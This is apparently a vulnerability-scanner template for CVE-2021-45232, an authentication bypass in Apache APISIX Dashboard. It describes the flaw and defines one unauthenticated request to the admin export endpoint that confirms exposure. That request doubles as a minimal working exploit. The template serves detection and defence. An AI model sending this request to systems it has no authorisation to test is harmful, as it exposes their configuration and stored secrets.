30 lines
997 B
YAML
30 lines
997 B
YAML
|
id: CVE-2021-45232
|
||
|
|
||
|
info:
|
||
|
name: Apache APISIX Dashboard api unauth access
|
||
|
author: Mr-xn
|
||
|
severity: high
|
||
|
description: In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin`, all APIs and authentication middleware are developed based on framework `droplet`, but some API directly use the interface of framework `gin` thus bypassing the authentication.
|
||
|
reference:
|
||
|
- https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/
|
||
|
- https://github.com/pingpongcult/CVE-2021-45232
|
||
|
- https://github.com/advisories/GHSA-wcxq-f256-53xp
|
||
|
- https://twitter.com/403Timeout/status/1475715079173976066
|
||
|
tags: cve,cve2021,apache,unauth,apisix
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{RootURL}}/apisix/admin/migrate/export"
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
|
||
|
- type: word
|
||
|
words:
|
||
|
- '"Consumers":'
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|